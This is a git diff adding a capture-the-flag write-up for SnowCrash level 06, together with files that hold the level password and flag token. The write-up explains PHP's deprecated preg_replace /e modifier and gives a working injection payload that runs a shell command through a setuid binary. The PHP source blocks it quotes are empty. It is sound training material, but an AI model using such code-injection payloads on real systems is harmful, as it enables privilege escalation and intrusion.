diff --git a/levels/06/README.md b/levels/06/README.md new file mode 100644 index 0000000..8d24270 --- /dev/null +++ b/levels/06/README.md @@ -0,0 +1,131 @@ +# Level 06 + +## how to login + +username: level06 + +password: viuaaale9huek52boumoomioc + + +## Goal + +run `getflag` as user `flag06` + +## Actually doing something + +```bash +level06@SnowCrash:~$ ls -la +total 24 +dr-xr-x---+ 1 level06 level06 140 Mar 5 2016 . +d--x--x--x 1 root users 340 Aug 30 2015 .. +-r-x------ 1 level06 level06 220 Apr 3 2012 .bash_logout +-r-x------ 1 level06 level06 3518 Aug 30 2015 .bashrc +-rwsr-x---+ 1 flag06 level06 7503 Aug 30 2015 level06 +-rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php +-r-x------ 1 level06 level06 675 Apr 3 2012 .profile +``` + +A php file, and a setuid binary ? Seems fishy + +lets look at the php file first + +```php +#!/usr/bin/php + +``` + +This doesnt look good... + +lets try to run the setuid binary + +```bash +level06@SnowCrash:~$ ./level06 +PHP Warning: file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4 +level06@SnowCrash:~$ ./level06 /tmp/flag05 +#!/bin/sh +getflag >/tmp/flag05-output 2>&1 +chmod +w /tmp/flag05-output +``` + +Can we ... just read whatever file we want ?! There must be something + +lets look a the php file a bit more + +Here is it with a better formatting +```php +#!/usr/bin/php + +``` + +and here it is with better names +```php +#!/usr/bin/php + +``` + +it looks like it replaces lots of stuff, but overhall doesnt do much things + +until I researched what the `/e` meant in the line right after `file_get_contents` + +so it turns out this is a deprecated (and then removed) feature of PHP that allows the regexes search and replace to run code for every match + +meaning that this will match any `[x ]` and run the function `y("")` + +lets try some stuff then ! + +```bash +level06@SnowCrash:~$ echo "[x @.@@.] @@" >/tmp/06 +level06@SnowCrash:~$ ./level06 /tmp/06 + y x y y x @@ +``` + +It indeed ran the function `y` on the stuff inside brackets but not the stuff outside + +so after a bit of digging into php, this seems to work and give us the flag ! +```bash +level06@SnowCrash:~$ echo '[x ${`getflag`}]' >/tmp/06 && ./level06 /tmp/06 +PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub + in /home/user/level06/level06.php(4) : regexp code on line 1 +``` + +From what I understood: `${stuff}` is a way to reference a variable name using another expression (here the variable name will be whatever stuff evaluates to) +and ``stuff\`` runs the shell command `stuff` + +meaning that we want to get a variable named after the result of getflag -> it doesnt exist -> php compains and print a warning :D + diff --git a/levels/06/flag b/levels/06/flag new file mode 100644 index 0000000..b060f48 --- /dev/null +++ b/levels/06/flag @@ -0,0 +1 @@ +wiok45aaoguiboiki2tuin6ub diff --git a/levels/06/passwd b/levels/06/passwd new file mode 100644 index 0000000..2a41b4d --- /dev/null +++ b/levels/06/passwd @@ -0,0 +1 @@ +viuaaale9huek52boumoomioc